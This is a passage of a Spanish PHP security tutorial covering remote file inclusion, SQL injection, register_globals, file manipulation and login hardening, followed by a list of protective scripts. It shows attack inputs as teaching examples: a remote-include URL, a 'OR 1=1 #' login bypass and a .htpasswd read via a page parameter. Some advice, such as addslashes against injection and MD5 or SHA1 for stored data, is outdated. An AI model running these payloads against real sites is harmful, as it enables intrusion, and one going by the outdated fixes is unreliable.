y Tener un array de páginas válidas.y Comprobar que el archivo solicitado coincide con un formato concreto .
RFI (Remote File Inclusion)
Como su nombre indica, se produce cuando se incluye un archivo remoto.
Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro scriptse encuentra en http://site.com/index.php. Un atacante puede hacer esta petición:http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivose ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que
permita la ejecución de comandos.
O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de unaconsulta a base de datos.
S e recomienda:
y No confiar en los datos que no provengan de nuestro sistema.y
Se deben validar los datos que introduce el usuario.
Ejecución Remota de Código
Afecta a las aplicaciones que aceptan nombres de archivos por parte del usuario cuando elsitio web maneja el ingreso y la inclusión de archivos y URLssin chequeo previo.
Las causas de este problema son:
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 21/30
Validación insuficiente de las entradas del usuario antes de llamados al sistema dearchivos tales como require, include o fopen()
Privilegios por defaultexcesivos A partir de la versión 4.0.4 de PHP, la opción allow_url_fopen es habilitada por
default, permitiendo escribir aplicaciones vulnerables sin realizar muchos cambios
de configuración. Apartir de PHP 4.3.4, el proyecto PHP cambio el acceso aPHP_INI_SYSTEM, el cual previene deshabilitando esta característica usandoini_set().
Configuración PHP
La configuración de PHPtiene una conexión directa con la severidad de los ataques.
No hay una configuración de PHPaceptada por la mayoría como segura, tampoco la
configuración por defecto.
Algunas consideraciones:
register_globals allow_url_fopen magic_quotes_gpc magic_quotes_runtime safe_modeyopen_basedir
Ataques al sistema de archivos
Inclusión de archivo local (tal como /etc/passwd, archivos de configuración, o logs)
Manipulación de sesiones locales
UploadInjectionde archivos locales
La mayoría de los administradores del sitio corren PHPsin usuario bajo Apache, lasvulnerabilidades sobre el sistema de archivos local afectan a todos los usuarios dentro de un
hostsimple.
Seguridad en sesiones
Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios.Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.
S e recomienda:
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 22/30
y Cambiar el identificador de la sesión a menudo. Utilizando la funciónsession_regenerate_id() se reduce la posibilidad de que el identificador seainterceptado.
y Usando versiones PHP5.2 o posteriores se puede denegar al Javascript delnavegador el acceso a la cookie activando el flaghttponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP seaalgo más segura.
y Problemas más comunes
Aquí están algunos de los problemas más comunes de seguridad y cómo evitarlos.
Nunca, confiar en los usuarios
Nunca debes confiar en que los usuarios te van a mandar los datos que tu esperas. Muchagente responde a esto con algo como³Oh, nadie estaría interesado en mi sitio´. Estaafirmación no podría ser másincorrecta, siempre hay un usuario malévolo que quiereexplotar un agujero de seguridad además los problemas pueden presentarse fácilmentedebido a un usuario que hace algo mal intencionalmente.
Por todo esto la regla de todo desarrollador web tiene que ser "Nunca, confiar en losusuarios´. Asumir que cada pieza de datos que tu sitio recoge de un usuario puedeconvertirse en un agujero de seguridad, siempre. Si la seguridad de tu sitio web es
importante para ti, este un buen puntopara comenzar a aprender. Sería conveniente tener ³una hoja de seguridad para PHP´ al lado de tu escritorio con los puntos más importantesen texto negrita grande.
Variables globales
En muchos lenguajes debes crear explícitamente un variable para utilizarlas. En PHP, hayuna opción, las ³register_globals´, que puedes fijar en php.ini y que permite que utilicesvariables globales.
Considera el códigosiguiente:
if ($password == ³my_password´) {
$authorized = 1;
}
if ($authorized == 1) {
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 23/30
echo ³Mis cosas importantes ³;
}
A muchos de nosotros nos puede parecer que este código está funcionando perfectamente.¿Sin embargo, si un servidor tiene ³register_globals´ encendidos, entonces simplementeagregando´? authorized=1 ´ al URL dará a cualquier persona el acceso libre aexactamentelo que no quisieras que todo el mundo viera. Éste es uno de los problemas máscomunes de la seguridad de PHP.
Afortunadamente, esto tiene un par de soluciones simples y posibles. La primera, y quizásla mejor, es fijar desactivar ³register_globals´. La segunda es asegurarse de que utilizassolamente las variables que has fijado explícitamente tú mismo. En el ejemplo anterior, esosignificaría la adición ³$authorized = 0; ´ al principio de la escritura:
$authorized = 0;
if ($password == ³my_password´) {
$authorized = 1;
}
if ($authorized == 1) {
echo ³Lots of important stuff.´;
}
Mensajes de error
Cuidado con SQL
Una de las ventajas más grandes de PHP es la facilidad con la cual puede comunicarse conlas bases de datos, lo más normal con MySQL . Mucha gente hace el uso excesivo de esto,y muchos grandes sitios, confía en las bases de datos para funcionar.
Sin embargo, con esa ventaja hay problemas suficientemente grandes en la seguridad a losque tendras que hacer frente. Afortunadamente, hay un montón de soluciones. El peligromás común de seguridad al que debes de hacer frente es cuando un usuario utiliza un fallo para poder atacar directamente al servidor de bases de datos con sentencias SQL.
Utilicemos un ejemplo común. Muchos sistemas utilizan un codigo muy parecido a este para comprobar el usuario y la contraseña pudiendose hacer todas las combinaciones
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 24/30
válidas del usuario y de su contraseña, por ejemplo para controlar el acceso a un área deadministración:
$check = mysql_query(³SELECT Username, Password, UserLevel FROM Users WHEREUsername = µ´.$_POST['username'].´µ and Password = µ´.$_POST['password'].´µ´);
¿Te parece familiar? . Y parece que no podría hacer mucho daño. Pero digamos por unmomento que introduzco el siguiente ´usuario ´ en el formulario:
µO 1=1 #
La pregunta que va a ser ejecutada sería esta:
SELECT Username, Password FROM Users WHERE Username = ´ OR 1=1 #¶ andPassword = ´
La almohadilla (#) le dice aMySQL que todo que le sigue es un comentario y que no debede hacerle caso. Ejecutará SQL hasta ese punto. Después 1 es igual a 1, SQL devolverátodos los usuarios y contraseñas de la base de datos. Y como la primera combinación delusuario y de contraseña en la mayoría de las bases de datos es la del administrador, la persona que incorporó simplemente algunos símbolos en un formulario ahora entra comoadministrador de la Web , con los mismos privilegios que tendría si supiera realmente elusuario y la contraseña.
Con una poca de creatividad, este agujero de seguridad se puede explotar aún más lejos, permitiendo que un usuario cree su propia cuenta, lea números de las tarjetas de crédito osimplemente vacié la base de datos.
Afortunadamente, este tipo de vulnerabilidad es bastante fácil de solucionar. Comprobandosi hay algúncarácter raro cuando el usuario introduce los datos, y quitándolos oneutralizando, podemos evitar que cualquier persona utilice su propio código del SQL ennuestra base de datos. La función que sigue sería la adecuada:
functionmake_safe($variable) {
$variable = addslashes(trim($variable));
return $variable;
}
Ahora debemos modificar nuestra consulta. En vez de usar variables _POST como en laconsulta de arriba, ahora utilizamos todos los datos del usuario con la función make_safe,dando por resultado el código siguiente:
$username = make_safe($_POST['username']);
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 25/30
$password = make_safe($_POST['password']);
$check = mysql_query(³SELECT Username, Password, UserLevel FROM Users WHEREUsername = µ´.$username.´µ and Password = µ´.$password.´µ´);
Ahora, si un usuario incorporó los datos anteriormente citados, la consulta será la siguiente,que es totalmente inofensiva. La consulta siguiente seleccionará de una base de datos losregistros donde el usuario es igual a ³\ µO o 1=1 #´.
SELECT Username, Password, UserLevel FROM Users WHERE Username = µ\¶ OR 1=1#¶ and Password = ´
Ahora, a menos que tengas un usuario con un nombre muy inusual y una contraseña en blanco, tu malévolo atacante no podrá hacer ningún daño en tu sitio Web. Es importantecomprobar todos los datos pasados a tu base de datos. Las cabeceras de HTTP enviados por elusuario pueden ser falsificadas. Su dirección de remitente también puede ser falsificada.
No confíes en los datos enviados por el usuario, y tú y tu sitio estaréis a salvo
Un desarrollador los necesita para detectar bugs. Un hacker puede utilizarlos para descubrir todas las clases de información sobre un sitio, desde la estructura del directorio del servidor a la información de la conexión de la base de datos.En PHP para evitar esto puedes utilizar .htaccess o php.ini, fijando ³error_reporting´ a ³0´.
Manipulación de archivos
Algunos sitios tienen URLs parecidas a esto:
index.php?page=contactus.html
El archivo ³index.php´ incluye simplemente el archivo de ³contactus.html´, y el sitio parece funcionar. Sin embargo, el usuario puede cambiar muy fácilmente el pedacito de³contactus.html´ por cualquier cosa que le apetezca. Por ejemplo, si estás utilizando elmod_auth de Apache para proteger archivos y para guardar tu contraseña en el archivollamado ´ .htpasswd ´ (el nombre convencional), si un usuario quisiera visitar esa URL, larespuesta haría salir el nombre de usuario y contraseña:
index.php?page=.htpasswd
Cambiando la URL, en algunos sistemas, para referirse a un archivo u otro en el servidor, podrían incluso funcionar PHP que han escrito en tu sitio. ¿Asustado? Debes estarlo.Afortunadamente, otra vez, esto es razonablemente fácil de solucionar. Primero, cercióratede haber fijado correctamente el ³open_basedir´ en tu archivo de php.ini, y fijar ³allow_url_fopen´ a ³OFF´. Eso prevendrá la mayor parte de estas clases de ataques
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 26/30
previniendo la inclusión de archivos alejados y de ficheros del sistema. Después puedescomprobar el archivo solicitado contra una lista de archivos válidos. Si limitas los archivosque se pueden alcanzar usando esta salida.
Previsibilidad
Imaginémonos por un segundo que tu sitio ha atraído la atención de una persona malévola.Esta mala persona desea entrar dentro de tu área de administración, y cambia todas tusdescripciones de los productos a ³este producto apesta´. Aventuraría que su primer pasoserá ir a http://www.tusitio.com/admin/ ± como primera opción. La colocación de tusarchivos y carpetas lugares previsibles hace la vida de los hackers un poquito más fácil.
Con esto en mente, cerciorarte de que nombres tus archivos y carpetas delicados estén enlugares no muy previsibles. Poner tu área de administración enhttp://www.tusitio.com/jsfh8sfsifuhsi8392/ pudo hacerlo más duro al menos al
mecanografiarlo, pero agrega una capa adicional de seguridad a tu sitio. Escoger algo fácilde memorizar por supuesto si necesitas una dirección que puedes recordar rápidamente, pero no escoger el ³admin´ o ³administración´ (o tu nombre de usuario o contraseña).Por lo tanto mi consejo es escoge algo inusual.
Igual se aplica a los nombres de usuario y a las contraseñas. Si tienes un área deadministración, no utilices ³admin´ como nombre de usuario. Escoge algo más complicadode averiguar, si pudiera ser ambas con letras y números debido a que muchos hackersutilizan el llamado ³ataque del diccionario´, intentando cada palabra de un diccionariocomo contraseña hasta que encuentran un login que funcione ,la adición de un par de
dígitos al final de una contraseña hace este tipo de ataque inútil. Es también sabio cambiar tu contraseña bastante regularmente (cada mes o dos) y si es posible obligar a tus usuario ahacerlo de igual manera.
Finalmente, cerciorarte de que tus mensajes de error no den pistas. Si tu área deadministración da un mensaje de error que dice el ³nombre de usuario desconocido´cuando se introduce mal un nombre de usuario y ³contraseña incorrecta´ cuando seintroduce la contraseña incorrecta, un usuario malévolo sabrá cuándo ha introducido unnombre de usuario o una contraseña incorrecta. Usar ³un mensaje de error genérico al fallode conexión´ para ambos registros para que un usuario malévolo no tenga ni idea si es el
nombre o la contraseña lo que ha introducido mal.
5 Seguridades para aplicaciones en php
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 27/30
Al desarrollar una aplicación web en php tenemos que tener en cuentaalgunas seguridades, a continuación enlisto 5 de ellas:
1. Prevenir el ³SQL injection´: El sqlinjection es el nombre quese le da una forma de infiltrarse en las sentencias SQL que utilizamos
en los formularios de login. Le damos la libertad a los visitantes queimpongan partes de la sentencia sin que nos demos cuenta. Parasolucionar este problema deberíamos utilizar la sentenciamysql_real_escape_string
2. Llevar un registro intento de ingresos: Es necesario llevar una tabla con losintento de login y a la vez poner un límite de intentos, ya que pueden haber programas que intentan hacer login probando varias clave(³bruteforce´). Limitandoel número de intentos por cierto tiempo podemos prevenir estos ataques.
3. Encriptar los datos: Es muy recomendable encriptar los datos. En php podemosusar el MD5 o el SHA1
4. CAPTCHA: el uso de captcha es siempre importante en el momento que tengamosque enviar los datos de un formulario. Sin el uso de captcha, la base de datos se podría llenar de datos basura que a la larga pueden arruinar la finalidad de la páginaweb.
5. Validación adecuada: La validación adecuada de los formularios es siempreimportante ya que si no se validan los campos se podría filtrar información nodeseada. También podría ser utilizado como un medio para hacer spam. Así quetenemos que tener cuidado con la validación.
Programas desarrollados para seguridades en PHP
Existen en la actualidad cientos de desarrolladores que aportan de una u otra manera paramejorar aspectos de PHP en este caso la seguridad los siguientes ejemplos son líneas decódigo que comparten algunas personas para este tema:
Scripts PHP - Códigos PHP - Seguridad
Nombre: MultiuserPasswordProtection
Descripción: Script que protege una área específica de tu web mediante usuario y contraseña.
Soporta varios usuarios y log de accesos.
Autor: DL
Idioma: Inglés
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 28/30
--------------------------------------------------------------------------------------------------------
Nombre: phpGuardIt
Descripción: phpGuardIt es una pequeña herramienta que puedes usar para proteger tu web.
Viene con un completo hostnamebanning, scaneador de puertos, y sistema de usuarios. Además
trae un panel de administración. Completo apoyo con su CSS propio y metodo de guardado con
MySQL seguro.
Autor: Jonathan Anders
Idioma: Inglés
--------------------------------------------------------------------------------------------------------
Nombre: HumanCheck
Descripción: Este script PHP enseña un código secreto digital sobre una imagen. Si el visitante es
humano, puede reconocer el texto y escribirlo (como medida de segurdad). Si no puede, se
supone que es un script malicioso y se le deniega el acceso.
Autor: Horobey
Idioma: Inglés
--------------------------------------------------------------------------------------------------------
Nombre: PHP Pass
Descripción: Script ideal para proteger ciertas páginas con contraseña.
Autor: Rover
Idioma: Inglés
--------------------------------------------------------------------------------------------------------
Nombre: Ice Admin
Descripción: Script que te permite proteger tu propia área de administración en cuestión de pocos
minutos.
Autor: Ice-Host.net
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: IP Recorder
Descripción: Registra todos los accesos a tu página y guarda la ip y la fecha de cada visita. Tiene un
panel de control donde consultar los logs y da la posibilidad de banearIP's.
Autor: Dynamic-IP
Idioma: Inglés
--------------------------------------------------------------------------------------------------------
Nombre: BeginnerPassword Script
Descripción: Sencillo script para proteger tus scripts en PHP. Simplemente inserta el código arriba
del script que quieres proteger.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 29/30
Autor: Saud
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: htaccesser
Descripción: Generador de archivos de configuración de apache (.htaccess).
Autor: Chris Todd
Idioma: Inglés
--------------------------------------------------------------------------------------------------------
Nombre: Link Mask
Descripción: Con este script protegerás tus enlaces de los "Leechers". Evitarás que se enlace el
código de tu página desde otras webs.
Autor: ShadiAli
Idioma: Inglés
--------------------------------------------------------------------------------------------------------
Nombre: AtomicPassword
Descripción: Generador de contraseñas que puede utilizarse para múltiples propósitos.
Autor: AtomicOxide
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: phpGAC
Descripción: Un ACL es una herramienta, integrada dentro de otra, que permite controlar el
acceso de los distintos usuarios a los objetos de los que se compone la aplicación: archivos,
carpetas, funcionalidades, información...
Autor: phpgacl.sourceforge.net
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: DsLogin en PHP
Descripción: Script simple que permite protegerl el acceso a una paginaoweb o zona mediante
mediantepassword.
Autor: Dacio
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: Tuneylogin manager en PHP
Descripción: TuneyLogin Manager es un script para la gestión de su propio portal con un sitema de
login propio. El script gestión de modo automatico y con un panel de adminstración que utiliza
mySQL.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 30/30
Autor: Tune Your Web
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: SME Protect
Descripción: Pequeño script que nos ayuda a protejernos de Spammers y otros tipos de abusos
Autor: Script Me
Idioma: Español
--------------------------------------------------------------------------------------------------------
Nombre: Ua Block
Descripción: Muy útil para evitar correos no deseados, programas que copian páginas web, etc.
Cuando un agente intenta acceder a una página protegida, le devolverá un mensaje de error
personalizado.
Autor:
Todos los scripts mencionados anteriormente están disponibles en:
http://www.webtaller.com/tallerscripts/scripts/17/
RECOMENDACIONES
En definitiva, mi consejo es que debes ser totalmente paranoico
Si asumes que tu sitio nunca será atacado, o que nunca tendrá que hacer frente a problemasde este tipo después cuando estos lleguen estarás realmente en apuros. Si, por otra parte,asumes que cada visitante a tu sitio haría lo que fuera por romper tu sistema y estas permanentemente en guerra, te ayudarás a mantener tu sitio seguro, y estarás preparado encaso de que vayan mal las cosas
LINK COGRAFÍA
http://www.webtaller.com/tallerscripts/scripts/17/
http://sedici.unlp.edu.ar/ARG-UNLP-TDG-0000000520/10800.pdf
http://php.astalaweb.net/Seguridad/1_Seguridad.asp
http://groups.google.com/group/php---programacion/browse_thread/thread/b553fe55b52177ce
http://www.dirphp.com/